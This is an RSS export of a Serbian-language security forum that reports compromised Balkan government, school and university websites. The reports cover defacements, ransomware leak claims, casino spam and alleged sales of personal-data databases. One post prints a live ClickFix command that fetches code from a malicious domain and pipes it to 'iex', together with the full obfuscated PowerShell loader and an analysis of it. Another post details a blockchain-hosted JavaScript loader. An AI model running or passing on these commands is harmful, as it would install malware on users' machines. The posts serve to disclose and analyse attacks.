<![CDATA[Bezbedan Balkan - Kompromitovani resursi]]>

<![CDATA[Bezbedan Balkan - Kompromitovani resursi]]> https://bezbedanbalkan.net/ Sun, 27 Sep 2026 20:21:41 +0000 MyBB <![CDATA[[HR] Ustavni sud Hrvatske - usud.hr - narušen izgled sajta [neprovereno]]]> https://bezbedanbalkan.net/thread-2747.html Fri, 25 Sep 2026 09:08:03 +0000 milos_rs]]> https://bezbedanbalkan.net/thread-2747.html

usud2.png Size: 85.66 KB Downloads: 108

usud3.png Size: 455.11 KB Downloads: 106

]]>

usud2.png Size: 85.66 KB Downloads: 108

usud3.png Size: 455.11 KB Downloads: 106

]]> <![CDATA[Kompromitovan nitra.gov.rs - ostavljen "potpis"]]> https://bezbedanbalkan.net/thread-2743.html Tue, 22 Sep 2026 08:32:21 +0000 milos_rs]]> https://bezbedanbalkan.net/thread-2743.html Da bi ovo postigli, često koriste propuste koji omogućavaju otpremanje proizvoljnih datoteka na server.

Sajt je na infrastrukturi Kancelarije za IT i eUpravu...

Code:
nitra.gov.rs has address 195.222.98.253

nit0.png Size: 43.41 KB Downloads: 217

nit1.png Size: 17.68 KB Downloads: 217

]]> Da bi ovo postigli, često koriste propuste koji omogućavaju otpremanje proizvoljnih datoteka na server.

Sajt je na infrastrukturi Kancelarije za IT i eUpravu...

Code:
nitra.gov.rs has address 195.222.98.253

nit0.png Size: 43.41 KB Downloads: 217

nit1.png Size: 17.68 KB Downloads: 217

]]> <![CDATA[[HR] HAKOM utvrdio sigurnosni incident povezan s informacijskim sustavom e-žalbe]]> https://bezbedanbalkan.net/thread-2733.html Mon, 14 Sep 2026 10:35:13 +0000 milos_rs]]> https://bezbedanbalkan.net/thread-2733.html Quote:Sustav e-žalbe, koji je smješten na vanjskom poslužitelju, privremeno je nedostupan, a sve okolnosti incidenta još se utvrđuju.
https://www.hakom.hr/hr/hakom-utvrdio-si...albe/12678]]> Quote:Sustav e-žalbe, koji je smješten na vanjskom poslužitelju, privremeno je nedostupan, a sve okolnosti incidenta još se utvrđuju.
https://www.hakom.hr/hr/hakom-utvrdio-si...albe/12678]]> <![CDATA[[BA] BHMAC - Bosnia and Herzegovina Mine Action Center - ransomware]]> https://bezbedanbalkan.net/thread-2730.html Fri, 11 Sep 2026 15:16:18 +0000 milos_rs]]> https://bezbedanbalkan.net/thread-2730.html
Nije prvi put da im se ovo dešava, 2024. se desilo slično: BHMAC - Bosnia and Herzegovina Mine Action Center - ransomwareovan

Ekipa tvrdi da poseduje 1.7GB kompresovanih podataka što i nije neki značajno veliki broj:

bhm2.png Size: 152.85 KB Downloads: 176

Kao uzorak su postavili nekakav dokument:

bhm3.jpg Size: 68.3 KB Downloads: 173

Sajt bhmac.org je nedostupan već nekoliko dana :

bhm1.png Size: 21.09 KB Downloads: 172

Code:
bhmac.org has address 208.115.224.194

]]>
Nije prvi put da im se ovo dešava, 2024. se desilo slično: BHMAC - Bosnia and Herzegovina Mine Action Center - ransomwareovan

Ekipa tvrdi da poseduje 1.7GB kompresovanih podataka što i nije neki značajno veliki broj:

bhm2.png Size: 152.85 KB Downloads: 176

Kao uzorak su postavili nekakav dokument:

bhm3.jpg Size: 68.3 KB Downloads: 173

Sajt bhmac.org je nedostupan već nekoliko dana :

bhm1.png Size: 21.09 KB Downloads: 172

Code:
bhmac.org has address 208.115.224.194

]]> <![CDATA[Kompromitovan sajt osnovne škole - oselemir-taras.edu.rs - clickfix na sajtu]]> https://bezbedanbalkan.net/thread-2729.html Thu, 10 Sep 2026 08:08:37 +0000 milos_rs]]> https://bezbedanbalkan.net/thread-2729.html

ose1.png Size: 568.41 KB Downloads: 171

kada se klikne...

ose2.png Size: 224.66 KB Downloads: 171

u klipbord stavlja :

Code:
irm (('{0}{1}' -f 'h','ttps://')+('inte'+'rnetserchinkas.co')+'/hex/lom/84aa3f59') -UserAgent 'WUA/22ab8f9767' -Headers @{('X'+'-WUA')='22ab8f9767'}|iex

što posle čišćenja izgleda ovako :

Code:
irm "https://internetserchinkas.co/hex/lom/84aa3f59" `
    -UserAgent "WUA/22ab8f9767" `
    -Headers @{"X-WUA"="22ab8f9767"} | iex

Payload sa tog linka :

Code:
$ErrorActionPreference='SilentlyContinue';$ProgressPreference='SilentlyContinue';try{[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12}catch{};Add-Type -A System.IO.Compression;$ew5jfhs=[convert]::('FromBase64String')(('XVTbkps4EP0VVcVZQQ1mJCFhCMtupbzZzVaS2VRlkjxQfhAgDDYGjwBf43/fZnwhk4cW'+'dOv07XRD1lVJW9QV0oe42S2yfXt8UNvxN6kLGZcKjR/kSiGcH3ZyMUlzjOCq7BQyetR/8UIlLXpQrf1dxdOyUFVrovHftU5U0Or9sciM0dXV/qzr3d48/mKwp1ql4FfIsgm'+'jPtRgmMokV7M3b/5SmezK9ifk6ZTINsmPp2AI917JVOkmwl8bpcdv5wDFsxB/qg9FWcp7YRNkfC+qtN426OERUWKTAIHB5QHaudxEb9frUkEjH4r2XjgT23GR8eH946ePFiqLpUL/qG'+'RZm2ia63ql7ilzbWK7jsdt4aEvMgPKrm7v0vnLexxEm7pIZyTIroTLbJtmB9cYFbqxRltvDtR0QoUYB1mtjdE6DkkAJxqXLepB9kdVzdu8t92F7Iy+C6Mkl3pmREldbZRuga3H+t+qddhzYPtLFzetLqp5H9BipkVdcxzvah0VVTs7O/fJo/7+npmve+WSaWYCvZDkFMAcCSTUfB9SsD3lu9Sf70O8eJLTfdLh4PdX3X7pCfXqj2CUMNebu7EbYpFyJvxJzIkg8JZQIjzmgsZ5Cne+cBnjsWA8JR73BJ8IKkFLRMypoBPR+1FKEi4giuDAYr9Uw+g76W0zKUIDH8npSE+wnRnCJIZcbIItTHkmXM5IjM1gVHVlGT6f/c5slqrzml89GRFUOODpECl8IbmgHkmYopy4ZEIYPDNGCOEpdQGacOU4fWy5XTirdXoIL0NFNxLQlazbAoyW8cqPtecP4EsfA/ZlsZN4wwbwtfYB/ZKUHZcbHzgZL+qieh5wNJsZrmdRSkF8EGJRctb9CbwSy3NAc0E4qOKCcEzobLWXTfzkhcNndklgGOfC7q4UHtnp6JyJNPCf+A4XIClIiE3rxpCFf1uG2Lq2bJrXyUTnNYX9fbdat0BBm+st10/LofNLLejGYGDcUOaPQu1Owe0v9j8='));$y6b8=New-Object IO.MemoryStream -ArgumentList @(,$ew5jfhs);$p674g276=[IO.Compression.DeflateStream]::new($y6b8,[IO.Compression.CompressionMode]::Decompress);$iu28tw=(New-Object IO.StreamReader($p674g276)).ReadToEnd();&([scriptblock]::Create($iu28tw))

Quote:This script is a multi-stage PowerShell malware loader that:

Stage 1 (This Script)

Disables error handling - hides failures

Enables TLS 1.2 - for secure C2 communication

Loads compression libraries - for decompression

Decodes Base64 - first layer of obfuscation

Decompresses Deflate - second layer

Executes in memory -[scriptblock]::Create() + &

No disk writes - fully fileless

Stage 2 (Decompressed Payload)

Downloads from internetserchinkas[.]co/hex/lom/84aa3f59

Uses custom headers (WUA/22ab8f9767,X-WUA: 22ab8f9767)

Executes the response via iex

]]>

ose1.png Size: 568.41 KB Downloads: 171

kada se klikne...

ose2.png Size: 224.66 KB Downloads: 171

u klipbord stavlja :

Code:
irm (('{0}{1}' -f 'h','ttps://')+('inte'+'rnetserchinkas.co')+'/hex/lom/84aa3f59') -UserAgent 'WUA/22ab8f9767' -Headers @{('X'+'-WUA')='22ab8f9767'}|iex

što posle čišćenja izgleda ovako :

Code:
irm "https://internetserchinkas.co/hex/lom/84aa3f59" `
    -UserAgent "WUA/22ab8f9767" `
    -Headers @{"X-WUA"="22ab8f9767"} | iex

Payload sa tog linka :

Code:
$ErrorActionPreference='SilentlyContinue';$ProgressPreference='SilentlyContinue';try{[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12}catch{};Add-Type -A System.IO.Compression;$ew5jfhs=[convert]::('FromBase64String')(('XVTbkps4EP0VVcVZQQ1mJCFhCMtupbzZzVaS2VRlkjxQfhAgDDYGjwBf43/fZnwhk4cW'+'dOv07XRD1lVJW9QV0oe42S2yfXt8UNvxN6kLGZcKjR/kSiGcH3ZyMUlzjOCq7BQyetR/8UIlLXpQrf1dxdOyUFVrovHftU5U0Or9sciM0dXV/qzr3d48/mKwp1ql4FfIsgm'+'jPtRgmMokV7M3b/5SmezK9ifk6ZTINsmPp2AI917JVOkmwl8bpcdv5wDFsxB/qg9FWcp7YRNkfC+qtN426OERUWKTAIHB5QHaudxEb9frUkEjH4r2XjgT23GR8eH946ePFiqLpUL/qG'+'RZm2ia63ql7ilzbWK7jsdt4aEvMgPKrm7v0vnLexxEm7pIZyTIroTLbJtmB9cYFbqxRltvDtR0QoUYB1mtjdE6DkkAJxqXLepB9kdVzdu8t92F7Iy+C6Mkl3pmREldbZRuga3H+t+qddhzYPtLFzetLqp5H9BipkVdcxzvah0VVTs7O/fJo/7+npmve+WSaWYCvZDkFMAcCSTUfB9SsD3lu9Sf70O8eJLTfdLh4PdX3X7pCfXqj2CUMNebu7EbYpFyJvxJzIkg8JZQIjzmgsZ5Cne+cBnjsWA8JR73BJ8IKkFLRMypoBPR+1FKEi4giuDAYr9Uw+g76W0zKUIDH8npSE+wnRnCJIZcbIItTHkmXM5IjM1gVHVlGT6f/c5slqrzml89GRFUOODpECl8IbmgHkmYopy4ZEIYPDNGCOEpdQGacOU4fWy5XTirdXoIL0NFNxLQlazbAoyW8cqPtecP4EsfA/ZlsZN4wwbwtfYB/ZKUHZcbHzgZL+qieh5wNJsZrmdRSkF8EGJRctb9CbwSy3NAc0E4qOKCcEzobLWXTfzkhcNndklgGOfC7q4UHtnp6JyJNPCf+A4XIClIiE3rxpCFf1uG2Lq2bJrXyUTnNYX9fbdat0BBm+st10/LofNLLejGYGDcUOaPQu1Owe0v9j8='));$y6b8=New-Object IO.MemoryStream -ArgumentList @(,$ew5jfhs);$p674g276=[IO.Compression.DeflateStream]::new($y6b8,[IO.Compression.CompressionMode]::Decompress);$iu28tw=(New-Object IO.StreamReader($p674g276)).ReadToEnd();&([scriptblock]::Create($iu28tw))

Quote:This script is a multi-stage PowerShell malware loader that:

Stage 1 (This Script)

Disables error handling - hides failures

Enables TLS 1.2 - for secure C2 communication

Loads compression libraries - for decompression

Decodes Base64 - first layer of obfuscation

Decompresses Deflate - second layer

Executes in memory -[scriptblock]::Create() + &

No disk writes - fully fileless

Stage 2 (Decompressed Payload)

Downloads from internetserchinkas[.]co/hex/lom/84aa3f59

Uses custom headers (WUA/22ab8f9767,X-WUA: 22ab8f9767)

Executes the response via iex

]]> <![CDATA[Kompromitovan Gradsko zelenilo Novi Sad - zelenilo.com - clickfix na sajtu]]> https://bezbedanbalkan.net/thread-2728.html Wed, 09 Sep 2026 22:56:05 +0000 milos_rs]]> https://bezbedanbalkan.net/thread-2728.html
Na sajtu na vrhu kôda postoji zamagljeni kôd :

zel1.png Size: 420.52 KB Downloads: 171

DeepSeek ga opisuje kao:

Quote:2. Core Functionality
The decoded script performs these actions:
A. Environment Checks
Checks if running on Windows platform

Verifies browser/user-agent

Looks for debugging tools

B. Smart Contract Interaction
Connects to multiple Ethereum RPC endpoints:
https://rpc.sepolia.ethpandaops.io

https://ethereum-sepolia-public.nodes.app

https://1rpc.io/sepolia

https://gateway.tenderly.co/public/sepolia

https://sepolia.gateway.tenderly.co

C. Payload Retrieval
Calls a smart contract at address
0x0321C73150543FAa9D016c9c46Abf293Eb6839e4

Uses
eth_call
to fetch data

Decrypts the response using AES-GCM

D. Payload Execution
Decrypts the retrieved data

Stores it in
localStorage
with a cache key

Executes the decrypted code via
new Function()

I zaista učitava sa blokčejna odakle dobija enkriptovan tekst :

zel2.png Size: 351.64 KB Downloads: 166

I dalje od ovoga ne ide jer pretpostavljam da ne dobija ključ za dekripciju, a mislim da ga potražuje sa ovog sledećeg domena jer se i ovo učitava sa zelenilo sajta i domen je sveže registrovan. Samo vrati 200 OK i ništa drugo :

zel3.png Size: 108.23 KB Downloads: 174

To je sve što mogu za sada da analiziram, definitivno je sajt kompromitovan i najverovatnije je ClickFix u pitanju, ima sve odlike sličnih kompromitacija.

Code:
zelenilo.com has address 212.200.255.58

]]>
Na sajtu na vrhu kôda postoji zamagljeni kôd :

zel1.png Size: 420.52 KB Downloads: 171

DeepSeek ga opisuje kao:

Quote:2. Core Functionality
The decoded script performs these actions:
A. Environment Checks
Checks if running on Windows platform

Verifies browser/user-agent

Looks for debugging tools

B. Smart Contract Interaction
Connects to multiple Ethereum RPC endpoints:
https://rpc.sepolia.ethpandaops.io

https://ethereum-sepolia-public.nodes.app

https://1rpc.io/sepolia

https://gateway.tenderly.co/public/sepolia

https://sepolia.gateway.tenderly.co

C. Payload Retrieval
Calls a smart contract at address
0x0321C73150543FAa9D016c9c46Abf293Eb6839e4

Uses
eth_call
to fetch data

Decrypts the response using AES-GCM

D. Payload Execution
Decrypts the retrieved data

Stores it in
localStorage
with a cache key

Executes the decrypted code via
new Function()

I zaista učitava sa blokčejna odakle dobija enkriptovan tekst :

zel2.png Size: 351.64 KB Downloads: 166

zel3.png Size: 108.23 KB Downloads: 174

To je sve što mogu za sada da analiziram, definitivno je sajt kompromitovan i najverovatnije je ClickFix u pitanju, ima sve odlike sličnih kompromitacija.

Code:
zelenilo.com has address 212.200.255.58

]]> <![CDATA[Sajt Filolozofskog fakulteta u Nišu - filfak.ni.ac.rs - preusmeravanje i kazino spam]]> https://bezbedanbalkan.net/thread-2725.html Wed, 09 Sep 2026 08:47:21 +0000 milos_rs]]> https://bezbedanbalkan.net/thread-2725.html
Na glavnoj stranici glavnog sajta https://www.filfak.ni.ac.rs ako se pristupi kao gugl bot dobije se preusmeravanja na sajt "Dream of the Red Chamber Interdisciplinary Research Center, National Dong Hwa University" sa Tajvana, skraćeno se zove "NDHU"...

filf1.png Size: 225.64 KB Downloads: 148

filf3.png Size: 1.12 MB Downloads: 149

Usled ovoga gugl indeksira glavnu stranicu fakulteta kao stranicu tajvanskog univerziteta i tako je prikazuje u rezultatima :

filf2.png Size: 44.34 KB Downloads: 152

Takođe na drugim stranicama je u nekom trenutku postojala kompromitacija koja je indeksirala neke stranice sa naslovom ovog tajvanskog univerziteta odnosno "NDHU" :

filf4.png Size: 67.54 KB Downloads: 144

Nisam našao da je ova kompromitacija još uvek aktivna pa je pitanje da samo gugl reindeksira stranice da bi se sporan naslov sklonio.

Sajt koristi Joomla CMS koji je dosta bušan naročito ako se aktivno ne ažurira kako glavna instalacija tako i dodaci, potrebno je počistiti sve i ažurirati sve jer ako se samo počisti opet će se pojaviti.

Sa druge strane sajt https://studenti.filfak.ni.ac.rs takođe ima probleme, reklamira indonežanski kazino takođe ako mu se pristupi kao gugl bot zato je tako i indeksirano na guglu :

filfstu0.png Size: 31.99 KB Downloads: 145

filfstu2.png Size: 747.07 KB Downloads: 153

I ovaj sajt izgleda koristi Joomla te je moguće da su oba kompromitovana na sličan način preko nekog Plug-ina ili ranjivosti na samoj Joomla instalaciji.]]>
Na glavnoj stranici glavnog sajta https://www.filfak.ni.ac.rs ako se pristupi kao gugl bot dobije se preusmeravanja na sajt "Dream of the Red Chamber Interdisciplinary Research Center, National Dong Hwa University" sa Tajvana, skraćeno se zove "NDHU"...

filf1.png Size: 225.64 KB Downloads: 148

filf3.png Size: 1.12 MB Downloads: 149

Usled ovoga gugl indeksira glavnu stranicu fakulteta kao stranicu tajvanskog univerziteta i tako je prikazuje u rezultatima :

filf2.png Size: 44.34 KB Downloads: 152

Takođe na drugim stranicama je u nekom trenutku postojala kompromitacija koja je indeksirala neke stranice sa naslovom ovog tajvanskog univerziteta odnosno "NDHU" :

filf4.png Size: 67.54 KB Downloads: 144

Sa druge strane sajt https://studenti.filfak.ni.ac.rs takođe ima probleme, reklamira indonežanski kazino takođe ako mu se pristupi kao gugl bot zato je tako i indeksirano na guglu :

filfstu0.png Size: 31.99 KB Downloads: 145

filfstu2.png Size: 747.07 KB Downloads: 153

I ovaj sajt izgleda koristi Joomla te je moguće da su oba kompromitovana na sličan način preko nekog Plug-ina ili ranjivosti na samoj Joomla instalaciji.]]> <![CDATA[Spam + clickfix na sajtu - gcsrbg.org - Gradski centar za socijalni rad u Beogradu]]> https://bezbedanbalkan.net/thread-2723.html Tue, 08 Sep 2026 20:58:14 +0000 milos_rs]]> https://bezbedanbalkan.net/thread-2723.html
Problem je u nekom trenutku rešen i sajt je sada u ispravnom stanju.

gcsrbg1.jpg Size: 187.45 KB Downloads: 137

Sajt je takođe navodno pokušavao da pokrene clickfix prevaru :

gcsrbg2.jpg Size: 34.86 KB Downloads: 129

gc3.png Size: 63.61 KB Downloads: 135

]]>
Problem je u nekom trenutku rešen i sajt je sada u ispravnom stanju.

gcsrbg1.jpg Size: 187.45 KB Downloads: 137

Sajt je takođe navodno pokušavao da pokrene clickfix prevaru :

gcsrbg2.jpg Size: 34.86 KB Downloads: 129

gc3.png Size: 63.61 KB Downloads: 135

]]> <![CDATA[kompromitovan ravnopravnost.gov.rs - indonežanski kazino spam]]> https://bezbedanbalkan.net/thread-2717.html Sun, 06 Sep 2026 15:56:34 +0000 milos_rs]]> https://bezbedanbalkan.net/thread-2717.html
primer adresa:

Code:
https://ravnopravnost.gov.rs/wp-content/uploads/sbobet88-togel-login/
https://ravnopravnost.gov.rs/wp-content/uploads/arena188/
https://ravnopravnost.gov.rs/wp-content/uploads/paitosydney/

Nije mi poznato da li ovi podfolderi zaista postoje ili neka kompromitovani WordPress plugin tako predstavlja. Ali slike jesu zvanične slike na samom sajtu koje se ovde zloupotrebljavaju.

rav1.png Size: 322.57 KB Downloads: 153

rav2.png Size: 262.3 KB Downloads: 141

rav3.png Size: 257.77 KB Downloads: 140

Prema guglu moguće je da ima oko 1000 ovakvih stranica mada ih ne indeksira ispravno :

rav0.png Size: 199.41 KB Downloads: 144

Sajt je na državnim web serverima pod nadležnosti Kancelarije za informacione tehnologije i elektronsku upravu

Code:
ravnopravnost.gov.rs has address 195.222.98.253

]]>
primer adresa:

Code:
https://ravnopravnost.gov.rs/wp-content/uploads/sbobet88-togel-login/
https://ravnopravnost.gov.rs/wp-content/uploads/arena188/
https://ravnopravnost.gov.rs/wp-content/uploads/paitosydney/

Nije mi poznato da li ovi podfolderi zaista postoje ili neka kompromitovani WordPress plugin tako predstavlja. Ali slike jesu zvanične slike na samom sajtu koje se ovde zloupotrebljavaju.

rav1.png Size: 322.57 KB Downloads: 153

rav2.png Size: 262.3 KB Downloads: 141

rav3.png Size: 257.77 KB Downloads: 140

Prema guglu moguće je da ima oko 1000 ovakvih stranica mada ih ne indeksira ispravno :

rav0.png Size: 199.41 KB Downloads: 144

Sajt je na državnim web serverima pod nadležnosti Kancelarije za informacione tehnologije i elektronsku upravu

Code:
ravnopravnost.gov.rs has address 195.222.98.253

]]> <![CDATA[Navodno kompromitovan ipardpa.gov.mk - Ransomware]]> https://bezbedanbalkan.net/thread-2716.html Sat, 05 Sep 2026 10:46:53 +0000 VincaSec]]> https://bezbedanbalkan.net/thread-2716.html Quote:Dana 11. juna 2007. godine, Sobranje Republike Makedonije usvojilo je Zakon o osnivanju Agencije za finansijsku podršku u poljoprivredi i ruralnom razvoju, s ciljem uspešnije realizacije mera poljoprivredne politike i politike ruralnog razvoja u Republici Makedoniji. Time se omogućava efikasno upravljanje finansijskim sredstvima kako iz Budžeta Republike Makedonije, tako i sredstvima iz pretpristupne pomoći Evropske unije namenjenim za ruralni razvoj. https://www.ipardpa.gov.mk/

Trenutno nema uzorak vezano za ovu navodnu kompromitaciju.

mk.png Size: 223.91 KB Downloads: 147

]]> Quote:Dana 11. juna 2007. godine, Sobranje Republike Makedonije usvojilo je Zakon o osnivanju Agencije za finansijsku podršku u poljoprivredi i ruralnom razvoju, s ciljem uspešnije realizacije mera poljoprivredne politike i politike ruralnog razvoja u Republici Makedoniji. Time se omogućava efikasno upravljanje finansijskim sredstvima kako iz Budžeta Republike Makedonije, tako i sredstvima iz pretpristupne pomoći Evropske unije namenjenim za ruralni razvoj. https://www.ipardpa.gov.mk/

Trenutno nema uzorak vezano za ovu navodnu kompromitaciju.

mk.png Size: 223.91 KB Downloads: 147

]]> <![CDATA[Navodno kompromitovan portal za "studente i stipendije" - procureli podaci studenata]]> https://bezbedanbalkan.net/thread-2705.html Wed, 26 Aug 2026 14:24:40 +0000 milos_rs]]> https://bezbedanbalkan.net/thread-2705.html

pros3.png Size: 104.72 KB Downloads: 361

Akteri su opisali vektor napda koji im je omogućio pristup podacima koji je prilično sramotan za one koji su kreirali i štite ovaj portal.

Među podacima su nekakve prijave, studentski podaci i popunjena dokumentacija.

Šema navodnih studentskih podataka je :

Code:
ksg_id,brojDokumenta,ime,prezime,ime_roditelja,prezime_roditelja,jmbg,jmbg_roditelja,email,telefon,username,ip_address,broj_racuna,broj_kartice,broj_lk,broj_lk_roditelja,ulica,broj,mesto_prebivalista,opstina_prebivalista,postanski_broj,opstina_lk,skolska_godina,godina_prvog_upisa,ustanova,smer,godina_razred,vrsta_studija,osetljiva_grupa,status,tip_korisnika

pros3.png Size: 104.72 KB Downloads: 361

Code:
ksg_id,brojDokumenta,ime,prezime,ime_roditelja,prezime_roditelja,jmbg,jmbg_roditelja,email,telefon,username,ip_address,broj_racuna,broj_kartice,broj_lk,broj_lk_roditelja,ulica,broj,mesto_prebivalista,opstina_prebivalista,postanski_broj,opstina_lk,skolska_godina,godina_prvog_upisa,ustanova,smer,godina_razred,vrsta_studija,osetljiva_grupa,status,tip_korisnika

Deluje mi slično kao podaci koji se nalaze na portalu za prijavljivanje na studentske i učeničke kredite i stipendije koji je već ranije imao ranjivosti: kreditistipendije.prosveta.gov.rs - enumeracija ličnih podataka putem IDOR ranjivosti]]> <![CDATA[Oglašena prodaja navodne baze ličnih i medicinskih podataka 4.3M građana Srbije]]> https://bezbedanbalkan.net/thread-2703.html Mon, 24 Aug 2026 21:40:06 +0000 milos_rs]]> https://bezbedanbalkan.net/thread-2703.html Na jednom forumu objavljena prodaja navodne baze podataka 1M građana Srbije

Sada je ta objava obrisana i pojavila se nova sa daleko više podataka i uz uzorak i više detalja. Očigledno se radi o istoj skupini podataka, sada proširenoj...

infmed3.png Size: 194.84 KB Downloads: 1904

Navodni podaci sadrže ime prezime, JMBG, broj pasoša, broj lične karte, datum rođenja, adresu, broj telefona, email kao i dva nepoznata medicinska podatka.

U objavi se takođe žale da im je ugašena prethodna protonmail mejl adresa. Tu mejl adresu su koristili baš dugo čudo je da je opstala do sada.

Postavili su jedan zapis kao uzorak :

infmed4.png Size: 47.33 KB Downloads: 1917

Smatram da ovolika količina podaka i to medicinskih može samo doći od neke državne institucije, obzirom na uključene medicinske podatke to je moguće RFZO koji je skoro pretrpeo ozbiljnu kompromitaciju: Kompromitovan RFZO - akter nudi sve baze podataka osiguranika na prodaju

Akteri tvrde da ponuđena baza sadrži 4.3 miliona zapisa, RFZO osigurava oko 4.8 miliona lica (penzioneri su osigurani preko PIO fonda te nisu u RFZO). Ne podudara se baš brojka ali jeste dosta blizu, možda ova baza ne sadrži neku kategoriju osiguranika.

Čudno mi je da podaci sadrže broj telefona i e-mail adresu, ovo nisu podaci koji se uobičajeno daju RFZO ili medicinskim ustanovama, naročito e-mail adresa. Broj pasoša takođe nije baš uobičajen za medicinske usluge, ako su ovo RFZO podaci onda su pothranjeni nekim drugim izvorima podataka. Pada mi na pamet eUprava koja sadrži sve ove lične podatke ali samo 2.9 miliona građana ima nalog tamo te se ne uklapa. Sada već previše špekulišem zaista ne znam koja baza bi imala 4.3 miliona e-mail adresa građana, moramo pretpostaviti da nisu svih 4.3 miliona zapisa sa e-mail adresama kao što vidimo i u uzorku da zapis nema broj pasoša.]]> Na jednom forumu objavljena prodaja navodne baze podataka 1M građana Srbije

Sada je ta objava obrisana i pojavila se nova sa daleko više podataka i uz uzorak i više detalja. Očigledno se radi o istoj skupini podataka, sada proširenoj...

infmed3.png Size: 194.84 KB Downloads: 1904

infmed4.png Size: 47.33 KB Downloads: 1917

Smatram da ovolika količina podaka i to medicinskih može samo doći od neke državne institucije, obzirom na uključene medicinske podatke to je moguće RFZO koji je skoro pretrpeo ozbiljnu kompromitaciju: Kompromitovan RFZO - akter nudi sve baze podataka osiguranika na prodaju

Akteri tvrde da ponuđena baza sadrži 4.3 miliona zapisa, RFZO osigurava oko 4.8 miliona lica (penzioneri su osigurani preko PIO fonda te nisu u RFZO). Ne podudara se baš brojka ali jeste dosta blizu, možda ova baza ne sadrži neku kategoriju osiguranika.

Čudno mi je da podaci sadrže broj telefona i e-mail adresu, ovo nisu podaci koji se uobičajeno daju RFZO ili medicinskim ustanovama, naročito e-mail adresa. Broj pasoša takođe nije baš uobičajen za medicinske usluge, ako su ovo RFZO podaci onda su pothranjeni nekim drugim izvorima podataka. Pada mi na pamet eUprava koja sadrži sve ove lične podatke ali samo 2.9 miliona građana ima nalog tamo te se ne uklapa. Sada već previše špekulišem zaista ne znam koja baza bi imala 4.3 miliona e-mail adresa građana, moramo pretpostaviti da nisu svih 4.3 miliona zapisa sa e-mail adresama kao što vidimo i u uzorku da zapis nema broj pasoša.]]> <![CDATA[Ransomware ekipa tvrdi da poseduje podatke SENVIBE projekta]]> https://bezbedanbalkan.net/thread-2702.html Mon, 24 Aug 2026 20:28:13 +0000 milos_rs]]> https://bezbedanbalkan.net/thread-2702.html
Prvo su napisali Univerzitet u Kragujevcu :

senvibe1.png Size: 124.6 KB Downloads: 323

Pa su napisali Senvibe :

senvibe2.png Size: 173.67 KB Downloads: 324

Pa su napisali i trenutno stoji Pokrajinska vlada Vojvodine :

senvibe3.png Size: 56.12 KB Downloads: 326

Pošto su okačili stablo direktorijuma podataka koje navodno poseduju jasno je da su podaci od SENVIBE projekta ali odakle su konkretno preuzeti nije poznato, moguće sa nekog univerziteta koji učestvuje u projektu.

Izgleda da je sva dokumentacija SENVIBE projekta u pitanju. Tvrde d poseduju 29GB podataka, stablo direktorijuma sadrži "690 directories, 6325 files"

Šta je SENVIBE?

Quote:SENVIBE - Strengthening Educational Capacities by Building Competences and Cooperation in the Field of Noise and Vibration Engineering

SENVIBE projekat je osnovan uz pomoć Evropske komisije i bavi se jačanjem obrazovnih kapaciteta izgradnjom kompetencija i saradnje u oblasti inženjerstva buke i vibracija.
U osnovi SENVIBE projekta jeste strateško unapređenje obrazovnih kapaciteta i saradnje u oblasti buke i vibracija. Projekat traje tri godine, a podizanje kapaciteta i kompetencija u ovoj oblasti očekuje se kroz:
- modernizaciju i uvođenje novih modula i predmeta na studijama mašinstva, građevinarstva, saobraćajnog inženjerstva, elektrotehnike, zaštite životne sredine i zaštite na radu;
- uvođenje prvog master programa iz vibro-akustike u Republici Srbiji;
- kreiranje kurseva za celoživotno učenje iz oblasti buke i vibracija koje će se sprovoditi u celoj zemlji za zainteresovane subjekte;
- uspostavljanje jedinstvenog centra (No&Vib Hub) za saradnju između akademskih i neakademskih institucija u ovoj oblasti. No&Vib Hub ima za cilj da se, pored unapređenja i razmene stručnog znanja i iskustava, unapredi rad i povezivanje organa uprave, privrede i visokog obrazovanja u ovoj oblasti i zajednički utiče na podizanje svesti šire zajednice po pitanju buke i vibracija u životnoj i radnoj sredini.

Projektni partneri:

Univerziteti iz R.Srbije: Univerzitet u Novom Sadu(koordinator), Univerzitet u Nišu, Univerzitet u Kragujevcu, Univerzitet Educons
Univerziteti iz inostranstva:
Univerzitet u Sautemptonu(Velika Britanija),KTH iz Stokholma (Švedska)
Neakademski partneri:
Pokrajinski sekreterijat za urbanizam i zaštitu životne sredine, AP Vojvodine, Zavod za zdravstvenu zaštituradnika Novi Sad, Unija poslodavaca Vojvodine.
Pridruženi partneri: Privredna komora Srbije, Evropsko udruženje mladih akustičara.

senvibe1.png Size: 124.6 KB Downloads: 323

Pa su napisali Senvibe :

senvibe2.png Size: 173.67 KB Downloads: 324

Pa su napisali i trenutno stoji Pokrajinska vlada Vojvodine :

senvibe3.png Size: 56.12 KB Downloads: 326

Quote:SENVIBE - Strengthening Educational Capacities by Building Competences and Cooperation in the Field of Noise and Vibration Engineering

SENVIBE projekat je osnovan uz pomoć Evropske komisije i bavi se jačanjem obrazovnih kapaciteta izgradnjom kompetencija i saradnje u oblasti inženjerstva buke i vibracija.
U osnovi SENVIBE projekta jeste strateško unapređenje obrazovnih kapaciteta i saradnje u oblasti buke i vibracija. Projekat traje tri godine, a podizanje kapaciteta i kompetencija u ovoj oblasti očekuje se kroz:
- modernizaciju i uvođenje novih modula i predmeta na studijama mašinstva, građevinarstva, saobraćajnog inženjerstva, elektrotehnike, zaštite životne sredine i zaštite na radu;
- uvođenje prvog master programa iz vibro-akustike u Republici Srbiji;
- kreiranje kurseva za celoživotno učenje iz oblasti buke i vibracija koje će se sprovoditi u celoj zemlji za zainteresovane subjekte;
- uspostavljanje jedinstvenog centra (No&Vib Hub) za saradnju između akademskih i neakademskih institucija u ovoj oblasti. No&Vib Hub ima za cilj da se, pored unapređenja i razmene stručnog znanja i iskustava, unapredi rad i povezivanje organa uprave, privrede i visokog obrazovanja u ovoj oblasti i zajednički utiče na podizanje svesti šire zajednice po pitanju buke i vibracija u životnoj i radnoj sredini.

Projektni partneri:

Univerziteti iz R.Srbije: Univerzitet u Novom Sadu(koordinator), Univerzitet u Nišu, Univerzitet u Kragujevcu, Univerzitet Educons
Univerziteti iz inostranstva:
Univerzitet u Sautemptonu(Velika Britanija),KTH iz Stokholma (Švedska)
Neakademski partneri:
Pokrajinski sekreterijat za urbanizam i zaštitu životne sredine, AP Vojvodine, Zavod za zdravstvenu zaštituradnika Novi Sad, Unija poslodavaca Vojvodine.
Pridruženi partneri: Privredna komora Srbije, Evropsko udruženje mladih akustičara.

